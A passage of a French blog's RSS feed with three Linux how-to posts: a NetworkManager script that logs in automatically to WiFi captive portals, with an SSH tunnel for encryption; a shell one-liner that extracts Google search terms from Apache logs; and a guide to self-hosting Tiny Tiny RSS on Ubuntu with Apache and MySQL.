Login &lt;input name="<strong>auth_user</strong>" type="text"&gt;
Password &lt;input name="<strong>auth_pass</strong>" type="password"&gt;
&lt;input type="checkbox" name="regagree" value="valeur" onClick="ChangeStatut(this.form)"&gt; J'accepte le règlement
&lt;input name="redirurl" type="hidden" value="http://www.google.com/search?ie=UTF-8"&gt;
&lt;input type="submit" name="<strong>accept</strong>" value="<strong>Continuer</strong>" disabled&gt;
&lt;/form&gt;</pre>
<p>Tout y est. La valeur de l&#8217;attribut <code>action</code> est l&#8217;URL de validation, et le nom des champs utilisés est dans l&#8217;attribut <code>name</code> de chaque balise <code>input</code>.</p>
<p>Dans cet exemple, seuls <code>auth_user</code> et <code>auth_pass</code> semblent utiles, mais parfois le serveur effectue des vérifications (étranges) supplémentaires. Ici, il vérifie qu&#8217;il y a bien un attribut <code>accept</code> qui vaut <code>Continuer</code> (allez savoir pourquoi).</p>
<p>À partir de ces champs, nous allons construire la chaîne des paramètres sous la forme&nbsp;:</p>
<pre>champ1=valeur1&amp;champ2=valeur2&amp;champ3=valeur3</pre>
<p>et l&#8217;envoyer au serveur en <a href="http://fr.wikipedia.org/wiki/HTTP#M.C3.A9thodes"><code>POST</code></a>, par exemple grâce à la commande <code>POST</code> <em>(en majuscules, ça surprend un peu pour une commande shell)</em>&nbsp;: </p>
<pre>POST http://10.9.0.1:8000/ &lt;&lt;&lt; 'auth_user=<em>IDENTIFIANT</em>&amp;auth_pass=<em>MOT_DE_PASSE</em>&amp;accept=Continuer'</pre>
<p>Si la page d&#8217;authentification est en HTTPS, il faudra installer le paquet <a href="apt://libcrypt-ssleay-perl">libcrypt-ssleay-perl</a>, ou alors utiliser <code>wget</code>&nbsp;:</p>
<pre>wget -qO- https://10.9.0.1:8000/ --post-data='auth_user=<em>IDENTIFIANT</em>&amp;auth_pass=<em>MOT_DE_PASSE</em>&amp;accept=Continuer'</pre>
<p>Voilà, nous avons reproduit en ligne de commande le comportement du navigateur pour l&#8217;authentification.<br />
Nous devons maintenant faire en sorte que cette commande soit exécutée dès la connexion au réseau WiFi.</p>
<h3>Exécuter un script lors de la connexion</h3>
<p><em>NetworkManager</em> (le gestionnaire de connexion par défaut d&#8217;<em>Ubuntu</em>) permet d&#8217;exécuter des scripts lors de la connexion ou la déconnexion. Pour cela, il suffit de placer le script dans <code>/etc/NetworkManager/dispatcher.d/</code> et de le rendre exécutable.</p>
<p>Le script est appelé avec deux paramètres&nbsp;:</p>
<ul>
<li><code>$1</code>&nbsp;: l&#8217;interface réseau concernée par la connexion ou la déconnexion (<code>wlan0</code> par exemple)&nbsp;;</li>
<li><code>$2</code> ayant pour valeur soit <code>up</code> (pour la connexion), soit <code>down</code> (pour la déconnection).</li>
</ul>
<p>Nous voulons exécuter la commande <code>POST</code> uniquement lors de la connexion de <code>wlan0</code>, et seulement pour le réseau concerné (par exemple celui ayant le nom <code>MonLieuDeVacances</code>).</p>
<p>Il est possible de récupérer le nom du réseau (l&#8217;ESSID) auquel nous sommes connectés grâce à <code>iwconfig</code>&nbsp;:</p>
<pre>iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/'</pre>
<p>Il faut donc créer un script dans <code>/etc/NetworkManager/dispatcher.d/10auth</code>&nbsp;:</p>
<pre>gksudo gedit /etc/NetworkManager/dispatcher.d/10auth</pre>
<p>ayant cette structure&nbsp;:</p>
<pre>#!/bin/bash
if [ "$1 $2" = 'wlan0 up' ]
then
    essid=$(iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/')
    case "$essid" in
        'MonLieuDeVacances')
            POST http://10.9.0.1:8000/ &lt;&lt;&lt; 'auth_user=<em>IDENTIFIANT</em>&amp;auth_pass=<em>MOT_DE_PASSE</em>&amp;accept=Continuer' ;;
        'MaGare')
            POST http://192.168.0.1 &lt;&lt;&lt; 'accept_cgu=1' ;;
    esac
fi</pre>
<p>Et le rendre exécutable&nbsp;:</p>
<pre>sudo chmod +x /etc/NetworkManager/dispatcher.d/10auth</pre>
<h3>Script pour FreeWifi</h3>
<p>Les pages d&#8217;authentification varient d&#8217;un réseau à l&#8217;autre, il faut donc adapter les paramètres de connexion selon le service utilisé.</p>
<p>Voici le script à utiliser (en adaptant votre identifiant et votre mot de passe) pour le réseau <em>FreeWifi</em> (très connu)&nbsp;:</p>
<pre>#!/bin/bash
if [ "$1 $2" = 'wlan0 up' ]
then
    essid=$(iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/')
    case "$essid" in
        'FreeWifi')
            wget -qO- https://wifi.free.fr/Auth --post-data='login=<em>IDENTIFIANT</em>&amp;password=<em>MOT_DE_PASSE</em>' ;;
    esac
fi</pre>
<h3>Tunnel SSH</h3>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/07/openssh.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/07/openssh.png" alt="" title="openssh" width="150" height="148" class="alignright size-full wp-image-2792" /></a><br />
Ces réseaux ouverts, gérant éventuellement une authentification HTTP, ne sont pas chiffrés&nbsp;: n&#8217;importe qui écoutant ce qui transite dans les airs pourra récupérer tout le contenu de votre trafic.<br />
Si vous avez un ordinateur allumé chez vous (sur un réseau &laquo;&nbsp;sûr&nbsp;&raquo;) accessible en SSH, je vous conseille de faire passer toutes les connexions dans un tunnel chiffré.</p>
<p>Le principe est simple&nbsp;: dès que vous accédez à un serveur (par exemple en tapant l&#8217;URL dans un navigateur web), l&#8217;ordinateur ne va pas s&#8217;y connecter directement, il va transmettre les informations en passant par un tunnel chiffré à votre serveur SSH, qui lui va s&#8217;y connecter, et vous renvoyer la page à travers le tunnel. Techniquement, le tunnel est un <a href="http://fr.wikipedia.org/wiki/SOCKS">proxy SOCKS</a> écoutant sur un port local (par exemple <code>localhost:3128</code>).</p>
<p>Pour démarrer le tunnel&nbsp;:</p>
<pre>ssh monserveur -CND3128</pre>
<p>Pour configurer le système afin qu&#8217;il utilise le tunnel SSH, Système → Préférences → Serveur mandataire (<code>gnome-network-properties</code>), puis configurer comme sur la capture d&#8217;écran&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2011/07/proxy.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/07/proxy-300x238.png" alt="" title="proxy" width="300" height="238" class="aligncenter size-medium wp-image-2794" /></a><br />
Dans l&#8217;onglet <em>Hôtes à ignorer</em>, rajouter l&#8217;adresse de la page d&#8217;authentification.</p>
<p>Ainsi, toutes les connexions des logiciels utilisant les paramètres proxy du système passeront par le tunnel. Il est également possible de configurer ceci dans chaque logiciel individuellement (s&#8217;ils le proposent).</p>
<p>Pour <em>Firefox</em>, il est également recommandé dans <a href="about:config">about:config</a> de passer la variable <code>network.proxy.socks_remote_dns</code> à <code>true</code>, afin que les DNS soient résolus également de l&#8217;autre côté du tunnel (sur le réseau &laquo;&nbsp;sûr&nbsp;&raquo;).</p>
<p>Vous trouverez plus d&#8217;infos sur mon <a href="http://blog.rom1v.com/2008/08/presentation-de-ssh/">billet concernant SSH</a>.</p>
<h3>Conclusion</h3>
<p>La connexion à des points d&#8217;accès WiFi publics demandant à chaque fois une authentification ou une acceptation des conditions d&#8217;utilisation devient rapidement insupportable. Il est donc appréciable de l&#8217;automatiser.</p>
<p>De plus, ces réseaux ne sont pas &laquo;&nbsp;sûrs&nbsp;&raquo;, n&#8217;importe qui peut écouter le trafic. Il est donc nécessaire de le chiffrer en passant par un réseau de confiance, par exemple avec un tunnel SSH.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/07/authentification-automatique-a-un-reseau-wifi-avec-networkmanager/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Extraire les recherches Google des logs Apache</title>
		<link>http://blog.rom1v.com/2011/06/extraire-les-recherches-google-des-logs-apache/</link>
		<comments>http://blog.rom1v.com/2011/06/extraire-les-recherches-google-des-logs-apache/#comments</comments>
		<pubDate>Fri, 24 Jun 2011 13:10:36 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Insolite]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[auto-hébergement]]></category>
		<category><![CDATA[scripts]]></category>
		<category><![CDATA[serveur]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=2685</guid>
		<description><![CDATA[Aujourd&#8217;hui, c&#8217;est un billet de distraction pour geeks. Lister les recherches Si vous utilisez Apache, voici une commande qui liste dans l&#8217;ordre alphabétique les recherches Google ayant permis aux internautes d&#8217;arriver sur vos sites&#160;: php -r "echo urldecode(\"`zgrep 'http://www\.google\.\w*/' /var/log/apache2/*&#124;grep -o '[?&#038;]q=[^&#038;"]*'&#124;cut -c4-`\");"&#124;sort&#124;uniq -c EDIT 25/06/2011&#160;: cette commande semble échouer lorsque la liste des recherches [...]]]></description>
			<content:encoded><![CDATA[<p>Aujourd&#8217;hui, c&#8217;est un billet de <em>distraction pour geeks</em>.</p>
<h3>Lister les recherches</h3>
<p>Si vous utilisez <em>Apache</em>, voici une commande qui liste dans l&#8217;ordre alphabétique les recherches <em>Google</em> ayant permis aux internautes d&#8217;arriver sur vos sites&nbsp;:</p>
<pre>php -r "echo urldecode(\"`zgrep 'http://www\.google\.\w*/' /var/log/apache2/*|grep -o '[?&#038;]q=[^&#038;"]*'|cut -c4-`\");"|sort|uniq -c</pre>
<p><em><strong>EDIT 25/06/2011&nbsp;:</strong> cette commande <a href="http://blog.rom1v.com/2011/06/extraire-les-recherches-google-des-logs-apache/#comment-67664">semble échouer</a> lorsque la liste des recherches est trop longue, celle donnée à la fin du billet est donc à préférer.</em><br />
(pour les autres moteurs de recherche, il faudrait s&#8217;inspirer de ce qu&#8217;ont fait les développeurs de <a href="http://piwik.org/faq/general/#faq_39">Piwik</a>)</p>
<p>Voici à quoi ressemble le résultat de la commande&nbsp;:</p>
<pre>      1 ubtunu tiny tiny rss
      5 ubuntu
      1 ubuntu 10.04 change startup screen
      1 ubuntu 10.04 configurer compte messagerie hotmail dans couriel
      3 ubuntu 10.04 cryptage
      1 ubuntu 10.04 écran grub invisible au démarrage
      2 ubuntu 10.04 ecran noir nvidia
      1 ubuntu 10.04 et video nvidia
      1 ubuntu 10.04 grub nvidia
      1 ubuntu 10.04 grub-pc couleur
      4 ubuntu 10.04 installation partition home chiffrée</pre>
<p>Le texte correspond aux recherches, le numéro devant indique le nombre de fois où elles ont été effectuées.</p>
<h3>Analyse</h3>
<h4>Billets les plus recherchés</h4>
<p>Sans conteste, les deux billets qui amènent le plus d&#8217;internautes par <em>Google</em> concernent <a href="http://blog.rom1v.com/2010/07/pluzz-fr-france-televisions-lance-son-service-de-tv-de-rattrapage-non-lisible/">pluzz</a> et <a href="http://blog.rom1v.com/2010/01/installer-une-application-apk-sur-android-a-partir-dun-pc/">apk</a>. Et parfois ça ne doit pas les aider beaucoup&nbsp;: certains recherchent par exemple <em>&laquo;&nbsp;pluzz plus belle la vie&nbsp;&raquo;</em> dans <em>Google</em> à partir d&#8217;<em>Internet Explorer</em>, je ne suis pas sûr que mon script shell pour <em>pluzz</em> réponde à leurs attentes.</p>
<h4>Recherches insolites</h4>
<p>Dans la liste, il y a forcément des recherches drôles ou étranges. En voici quelques unes que j&#8217;ai trouvées dans mes logs&nbsp;:</p>
<ul>
<li><em>&laquo;&nbsp;clitoris.apk&nbsp;&raquo;</em> : il y a vraiment une application pour tout&nbsp;!</li>
<li><em>&laquo;&nbsp;comment afficher 350 sous linux&nbsp;&raquo;</em> : c&#8217;est si différent que sur les autres systèmes d&#8217;exploitation&nbsp;?</li>
<li><em>&laquo;&nbsp;comment on invente une machine pour voler à usage individuelle&nbsp;&raquo;</em>&nbsp;: dérober ou s&#8217;envoler&nbsp;?</li>
<li><em>&laquo;&nbsp;du-ble-plein-les-poches es ce une arnaque&nbsp;&raquo;</em>&nbsp;: sans doute…</li>
<li><em>&laquo;&nbsp;est-il possible de prelever de l&#8217;argent sans que ça se voit sur le compte&nbsp;&raquo;</em>&nbsp;: je veux rester discret…</li>
<li><em>&laquo;&nbsp;l&#8217;ecran d&#8217;un ordinateur portable est de 14,1 pouce avec 1024*768 pixel quelle est la taille de l&#8217;ecran N*H en cm ?&nbsp;&raquo;</em>&nbsp;: le moteur de recherche, j&#8217;en suis sûr, va comprendre ma question, faire le calcul, et me répondre…</li>
<li><em>&laquo;&nbsp;logiciel adopy&nbsp;&raquo;</em>&nbsp;: comme ça se prononce&nbsp;!</li>
<li><em>&laquo;&nbsp;pour quel raison on doit interdire le zoo&nbsp;&raquo;</em>&nbsp;: les animaux c&#8217;est dangereux&nbsp;!
</li>
</ul>
<p>Il y a certains sites qui s&#8217;amusent à référencer ce genre de recherches, par exemple <a href="http://devenirunninjagratuitement.tumblr.com/">Comment devenir un ninja gratuitement&nbsp;?</a></p>
<p>N&#8217;hésitez pas à poster les vôtres…</p>
<h3>Challenge</h3>
<p>J&#8217;ai essayé d&#8217;écrire la commande la plus courte possible. Je n&#8217;ai pas réussi à faire moins de <strong>129 caractères</strong> sans perdre d&#8217;information ou prendre plus de risque (par exemple on pourrait remplacer <code>apache2</code> par <code>a*2</code>, mais c&#8217;est plus risqué).</p>
<p>Par contre, cette commande ne fonctionne pas correctement si l&#8217;on rajoute <code>|less</code> (on ne peut pas se déplacer avec haut et bas), je ne sais pas trop pourquoi ni comment le résoudre (si certains ont une idée).<br />
Une autre commande, sans <code>php</code> (en 141 caractères), ne pose pas ce problème&nbsp;:</p>
<pre>zgrep 'http://www\.google\.\w*/' /var/log/apache2/*|grep -o '[?&#038;]q=[^&#038;"]*'|cut -c4-|echo -e $(sed 's/$/\\n/;s/+/ /g;s/%/\\x/g')|sort|uniq -c</pre>
<p>Si vous avez des astuces pour faire mieux que 129 (ou 141), ne vous gênez pas <img src='http://blog.rom1v.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<h3>Scripts</h3>
<p><a href="http://www.bortzmeyer.org/je-parle-a-mon-moteur-de-recherche.html">D&#8217;autres</a> ont fait <a href="http://www.bortzmeyer.org/files/SearchEngineQueries.py">des scripts plus complets</a>, qui permettent de récupérer des informations supplémentaires, par exemple la page sur laquelle l&#8217;internaute est arrivé en effectuant cette recherche…</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/06/extraire-les-recherches-google-des-logs-apache/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Tiny Tiny RSS : auto-hébergement des flux RSS</title>
		<link>http://blog.rom1v.com/2011/06/tiny-tiny-rss-auto-hebergement-des-flux-rss/</link>
		<comments>http://blog.rom1v.com/2011/06/tiny-tiny-rss-auto-hebergement-des-flux-rss/#comments</comments>
		<pubDate>Tue, 14 Jun 2011 12:11:41 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[auto-hébergement]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[réseau]]></category>
		<category><![CDATA[rss]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=2592</guid>
		<description><![CDATA[Je vais expliquer dans ce billet pourquoi et comment installer Tiny Tiny RSS, un gestionnaire de flux RSS sur son serveur. Motivations Pourquoi un serveur ? Il existe de nombreux clients d&#8217;agrégateurs de flux, tels que Liferea sous Gnome ou NewsFox dans Firefox. Cependant, un tel client pose principalement deux problèmes. Le premier, c&#8217;est le [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/06/rss.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/06/rss-150x150.png" alt="" title="rss" width="150" height="150" class="alignright size-thumbnail wp-image-2603" /></a><br />
Je vais expliquer dans ce billet pourquoi et comment installer <a href="http://tt-rss.org/">Tiny Tiny RSS</a>, un gestionnaire de <a href="http://fr.wikipedia.org/wiki/Flux_RSS">flux RSS</a> sur son serveur.</p>
<h3>Motivations</h3>
<h4>Pourquoi un serveur ?</h4>
<p>Il existe de nombreux clients d&#8217;agrégateurs de flux, tels que <a href="http://liferea.sourceforge.net/">Liferea</a> sous <em>Gnome</em> ou <a href="http://blog.rom1v.com/2008/12/newsfox-plug-in-firefox-agregateur-de-flux-rss/">NewsFox</a> dans <em>Firefox</em>.</p>
<p>Cependant, un tel client pose principalement <strong>deux problèmes</strong>.</p>
<ul>
<li>Le premier, c&#8217;est <strong>le temps d&#8217;attente de mise à jour des flux</strong>. Lors du démarrage, les flux ne sont pas disponibles immédiatement&nbsp;: il faut patienter le temps qu&#8217;il mette à jour chacun des flux auxquels nous sommes abonnés, ce qui peux prendre plusieurs minutes.</li>
<li>Le second, c&#8217;est <strong>la synchronisation</strong>&nbsp;: nous ne pouvons pas lire nos flux à plusieurs endroits (maison, travail, mobile…) en gardant la synchronisation (les flux que nous avons lu sont marqués comme lus sur un ordinateur, mais pas sur un autre).</li>
</ul>
<p>Un gestionnaire de flux doit donc, d&#8217;après moi, forcément être <strong>hébergé sur un serveur</strong>.</p>
<h4>Pourquoi son serveur ?</h4>
<p>De nombreux services en ligne proposent la gestion de  flux RSS (<em>Google Reader</em>, <em>NetVibes</em>, etc.).</p>
<p><strong>Pourquoi donc héberger un tel service sur son propre serveur&nbsp;?</strong></p>
<ul>
<li><strong>Par principe.</strong> Comme pour le <a href="http://blog.rom1v.com/2009/01/nouveau-blog-100-libre/">blog</a> ou les <a href="http://blog.rom1v.com/2009/08/hebergez-vos-mails-sur-ubuntu-server-et-liberez-vous/">mails</a>, autant auto-héberger son propre contenu, qui n&#8217;a rien à faire ailleurs.</li>
<li><strong>Filtrage en entreprise.</strong> Les agrégateurs de flux connus sont souvent bloqués par les proxies d&#8217;entreprise. Un service perso sur son propre serveur aura beaucoup moins de risque d&#8217;être filtré.</li>
<li><strong>Données personnelles.</strong> Les flux auxquels chacun est abonné et les articles lus sont une information importante pour quiconque souhaite renseigner un profil d&#8217;utilisateur. Par exemple, pour <a href="http://www.internetactu.net/2011/06/13/le-risque-de-lindividualisation-de-linternet/">modifier les résultats d&#8217;un moteur de recherche</a> (ou bien d&#8217;autres choses).</li>
<li><strong>Censure.</strong> Les flux RSS peuvent être une source d&#8217;information essentielle (c&#8217;est ma source d&#8217;information principale). Si nous en laissons la gestion à un hébergeur, comment nous assurer qu&#8217;il ne supprimera pas des flux les informations qui le dérangent&nbsp;? Par exemple, s&#8217;il décide malencontreusement de supprimer tous les articles qui parlent de <em>Wikileaks</em>&nbsp;? Je sais que ce n&#8217;est pas imaginable dans un pays démocratique.<br />
Mais regardons quand même (au hasard) l&#8217;exemple de <em>Google</em>, qui <a href="http://www.numerama.com/magazine/18993-google-etend-l-auto-censure-de-son-moteur-de-recherche.html">continue d&#8217;étendre l&#8217;auto-censure de son moteur de recherche</a>, dans un pays exerçant des <a href="http://www.numerama.com/magazine/17507-amazon-n-heberge-plus-wikileaks-apres-des-pressions-politiques-et-commerciales.html">pressions politiques et commerciales</a> pour retirer des contenus dérangeants hors de toute décision judiciaire (parfois en <a href="http://www.numerama.com/magazine/17519-wikileaks-inaccessible-apres-la-perte-de-son-dns.html">supprimant des entrées DNS</a>, même pour <a href="http://www.numerama.com/magazine/17946-rojadirecta-juge-legal-en-espagne-saisi-par-les-usa-maj.html">un contenu légal dans le pays concerné</a>), pressions auxquelles <a href="http://www.pcinpact.com/actu/news/60765-twitter-paypal-blocage-julian-assange.htm">peu d&#8217;entreprises résistent</a>, y compris lorsqu&#8217;il s&#8217;agit d&#8217;<a href="http://www.pcinpact.com/actu/news/61265-wikileaks-twitter-injonction-cablegate-notification.htm">obtenir des informations politiques</a>… et ils ne <a href="http://www.pcinpact.com/actu/news/64023-pipa-protect-ip-act-us.htm">comptent pas s&#8217;arrêter en si bon chemin</a>, pour lutter contre ce qu&#8217;ils appellent &laquo;&nbsp;piratage&nbsp;&raquo;. Mais non, censurer certains flux pour des raisons politiques est inimaginable dans un pays démocratique.</li>
</ul>
<h3>Installation</h3>
<p>Je vais expliquer l&#8217;installation de <em>Tiny Tiny RSS</em> pour ma configuration, à savoir <em>Ubuntu Server 11.04</em>, avec <em>Apache</em> et <em>MySQL</em>.<br />
Je vais l&#8217;installer dans <code>~/flux</code> (le répertoire <code>flux</code> de mon home), avec un lien symbolique <code>/var/www/flux</code>. L&#8217;application sera accessible à partir de <code>flux.rom1v.com</code>. Adaptez ces valeurs selon vos besoins.</p>
<h4>Dépendances</h4>
<p><em>Tiny Tiny RSS</em> a besoin de <code>php5-curl</code>&nbsp;:</p>
<pre>sudo apt-get install php5-curl</pre>
<h4>Téléchargement</h4>
<p>Télécharger la dernière version en bas de <a href="http://tt-rss.org/redmine/">la page officielle</a> (actuellement la 1.5.4).</p>
<p>Extraire l&#8217;archive dans <code>~/</code>&nbsp;:</p>
<pre>tar xzf tt-rss-1.5.4.tar.gz</pre>
<p>Et renommer le répertoire&nbsp;:</p>
<pre>mv tt-rss-1.5.4 flux</pre>
<h4>Base de données</h4>
<p>Il faut ensuite initialiser la base de données, grâce aux scripts fournis. Pour cela, aller dans le répertoire des scripts&nbsp;:</p>
<pre>cd flux/schema</pre>
<p>Puis se connecter à <em>MySQL</em>&nbsp;:</p>
<pre>$ mysql -uroot -p
Enter password:</pre>
<p>Une fois connecté, créer la base de données <code>flux</code>&nbsp;:</p>
<pre>mysql> CREATE DATABASE flux;
Query OK, 1 row affected (0,00 sec)</pre>
<p>Puis créer un utilisateur <code>flux</code> avec les droits sur cette base (on pourra générer son mot de passe grâce à <a href="http://blog.rom1v.com/2009/11/generer-des-mots-de-passe-aleatoires/">pwgen</a>)&nbsp;:</p>
<pre>mysql> GRANT ALL PRIVILEGES ON flux.* TO flux@localhost IDENTIFIED BY 'unmotdepasse';
Query OK, 0 rows affected (0.04 sec)</pre>
<p>Initialiser la base de données&nbsp;:</p>
<pre>mysql> USE flux
Database changed

mysql> \. ttrss_schema_mysql.sql</pre>
<p>La base de données est prête.</p>
<h4>Configuration</h4>
<p>Retourner dans le répertoire <code>~/flux</code>&nbsp;:</p>
<pre>cd ..</pre>
<p>Copier le modèle du fichier de configuration&nbsp;:</p>
<pre>cp config.php-dist config.php</pre>
<p>Puis l&#8217;éditer, par exemple&nbsp;:</p>
<pre>nano config.php</pre>
<p>Modifier les informations de connexion à la base de données&nbsp;:</p>
<pre>        define('DB_TYPE', "mysql");
        define('DB_HOST', "localhost");
        define('DB_USER', "flux");
        define('DB_NAME', "flux");
        define('DB_PASS', "unmotdepasse");</pre>
<p>Modifier l&#8217;URL d&#8217;accès à l&#8217;application, pour moi&nbsp;:</p>
<pre>        define('SELF_URL_PATH', 'http://flux.rom1v.com');</pre>
<p>Désactiver le mode <em>utilisateur unique</em> (sans quoi l&#8217;accès à l&#8217;application sera public sans authentification)&nbsp;:</p>
<pre>        define('SINGLE_USER_MODE', false);</pre>
<p>Si <em>Tiny Tiny RSS</em> est installé à la racine du site (c&#8217;est mon cas&nbsp;: <code>flux.rom1v.com/</code>), il faut modifier le répertoire d&#8217;icônes, car <code>/icons</code> est réservé par <em>Apache</em>&nbsp;:</p>
<pre>        define('ICONS_DIR', "tt-icons");
        define('ICONS_URL', "tt-icons");</pre>
<p>Je conseille de désactiver la vérification des nouvelles versions, car lorsque le site de <em>Tiny Tiny RSS</em> ne répond plus, l&#8217;application rencontre des difficultés&nbsp;:</p>
<pre>        define('CHECK_FOR_NEW_VERSION', false);</pre>
<p>Pour les performances, activer la compression&nbsp;:</p>
<pre>        define('ENABLE_GZIP_OUTPUT', true);</pre>
<p>Enfin, une fois que la configuration est terminée, modifier la ligne&nbsp;:</p>
<pre>        define('ISCONFIGURED', true);</pre>
<p>Les modifications du fichier de configuration sont terminés.</p>
<p>Maintenant, renommer le répetoire <code>icons</code> (comme dans le fichier de configuration)&nbsp;:</p>
<pre>mv icons tt-icons</pre>
<h4>Serveur web</h4>
<p>Il faut maintenant héberger l&#8217;application sur <em>Apache</em>.</p>
<p>Tout d&#8217;abord, donner les droits à <code>www-data</code> sur les répertoires où il a besoin d&#8217;écrire&nbsp;:</p>
<pre>sudo chown -R www-data: cache tt-icons lock</pre>
<p>Puis faire un lien symbolique vers le répertoire <code>/var/www/</code>&nbsp;:</p>
<pre>sudo ln -s ~/flux /var/www/</pre>
<p>Créer (au besoin) un nouveau <em>VirtualHost</em> pour le site, dans le répertoire <code>/etc/apache2/sites-available</code> (pour moi dans un fichier nommé <code>flux.rom1v.com</code>)&nbsp;:</p>
<pre>&lt;VirtualHost *:80&gt;
	DocumentRoot	/var/www/flux
	ServerName	flux.rom1v.com

	&lt;Directory /var/www/flux/&gt;
		Options FollowSymLinks MultiViews
		AllowOverride All
		Order allow,deny
		allow from all
	&lt;/Directory&gt;

	ErrorLog	/var/log/apache2/flux_error.log
	CustomLog	/var/log/apache2/flux_access.log combined

&lt;/VirtualHost&gt;</pre>
<p>Activer le site&nbsp;:</p>
<pre>sudo a2ensite flux.rom1v.com</pre>
<p>Redémarrer <em>Apache</em> (un simple <code>reload</code> aurait suffit si nous n&#8217;avions pas installé <code>php5-curl</code> tout à l&#8217;heure)&nbsp;:</p>
<pre>sudo service apache2 restart</pre>
<h3>Configuration utilisateur</h3>
<h4>Compte utilisateur</h4>
<p>L&#8217;application doit maintenant fonctionner. S&#8217;y connecter, avec l&#8217;utilisateur <code>admin</code> et le mot de passe <code>password</code> (l&#8217;utilisateur par défaut), puis aller dans la configuration et changer le mot de passe.</p>
<h4>Importation et exportation</h4>
<p><em>Tiny Tiny RSS</em> permet l&#8217;importation et l&#8217;exportation d&#8217;un fichier <a href="http://fr.wikipedia.org/wiki/OPML">OPML</a>. Il est ainsi possible de migrer facilement d&#8217;un gestionnaire de flux à un autre.</p>
<h4>Intégration à Firefox</h4>
<p>Il est possible d&#8217;associer son instance de <em>Tiny Tiny RSS</em> à <em>Firefox</em>&nbsp;: toujours dans la configuration, dans l&#8217;onglet <em>Flux</em>, <em>Intégration à Firefox</em>, cliquer sur le bouton.</p>
<p>Pour tester, se rendre sur un site, et afficher la liste des flux disponibles. Pour cela, cliquer sur le petit icône à gauche de l&#8217;adresse, puis sur <em>Plus d&#8217;informations…</em>, sur l&#8217;onglet <em>Flux</em> (s&#8217;il y en a un), et enfin sur le flux désiré. Par exemple, pour <a href="http://blog.rom1v.com/feed">ce blog</a>&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2011/06/blog-rss.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/06/blog-rss-300x247.png" alt="" title="blog-rss" width="300" height="247" class="aligncenter size-medium wp-image-2593" /></a></p>
<p>En cliquant sur <em>S&#8217;abonner maintenant</em>, <em>Firefox</em> devrait proposer d&#8217;utiliser <em>Tiny Tiny RSS</em>.</p>
<h3>Programmation de la mise à jour des flux</h3>
<p>Il reste encore une étape importante&nbsp;: le serveur doit régulièrement mettre à jour le contenu de chacun des flux auxquels nous sommes abonnés.</p>
<p>Plusieurs méthodes sont décrites sur <a href="http://tt-rss.org/redmine/wiki/tt-rss/UpdatingFeeds">cette page</a>. Certaines chargent les flux séquentiellement (par <em>cron</em> notamment), ce qui peut poser problème&nbsp;: supposons que nous soyons abonnés à 300 flux, avec une mise à jour toutes les 30 minutes, ça donne une moyenne de 6 secondes par flux. Si certains sites sont long à répondre, la mise à jour risque de dépasser le temps imparti, et <em>cron</em> va lancer une nouvelle tâche avant que la précédente soit terminée (heureusement <em>Tiny Tiny RSS</em> pose un verrou, donc il ne fera rien la seconde fois, mais du coup nous perdons une mise à jour). Ceci est d&#8217;autant plus dommage que l&#8217;essentiel de la durée nécessaire est le temps de connexion à chacun des sites&nbsp;: mieux vaut donc paralléliser le chargement.</p>
<p>C&#8217;est la raison pour laquelle je préfère la dernière méthode&nbsp;: <strong>lancer un <em>démon</em> multi-processus au démarrage du serveur</strong>. Par contre, étant donné le fonctionnement du <em>démon</em> proposé, il ne semble pas possible d&#8217;en faire un script <em>init.d</em> propre. Le plus simple est donc de rajouter dans <code>/etc/rc.local</code>&nbsp;:</p>
<pre>start-stop-daemon -c www-data -Sbx /var/www/flux/update_daemon2.php</pre>
<p><em>Vous pouvez exécuter cette commande maintenant pour charger les flux la première fois.</em></p>
<p>Ce <em>démon</em> utilise plusieurs processus (par défaut 2), qui mettent à jour les flux par blocs (par défaut, de 100). Pour changer ces variables (par exemple pour avoir 5 processus qui chargent des blocs de 50), dans <code>config.php</code>&nbsp;:</p>
<pre>        define('DAEMON_FEED_LIMIT', 50);</pre>
<p>et dans <code>update_daemon2.php</code>&nbsp;:</p>
<pre>        define('MAX_JOBS', 5);</pre>
<h3>Autres interfaces</h3>
<p>Une interface mobile en HTML est intégrée. Pour y accéder, il suffit d&#8217;ajouter à l&#8217;URL <code>/mobile</code>.</p>
<p>Pour <em>Android</em>, il existe également une application&nbsp;: <a href="http://code.google.com/p/ttrss-reader-fork/">ttrss-reader-fork</a> (à tester, mais je la trouve assez buggée). Pour lui permettre l&#8217;accès, il est nécessaire de sélectionner <em>&laquo;&nbsp;Activer les API externes&nbsp;&raquo;</em> dans la page de configuration de <em>Tiny Tiny RSS</em>.</p>
<h3>Conclusion</h3>
<p>Vous n&#8217;avez plus de raison de laisser traîner vos flux RSS n&#8217;importe où <img src='http://blog.rom1v.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
]]></content:encoded>
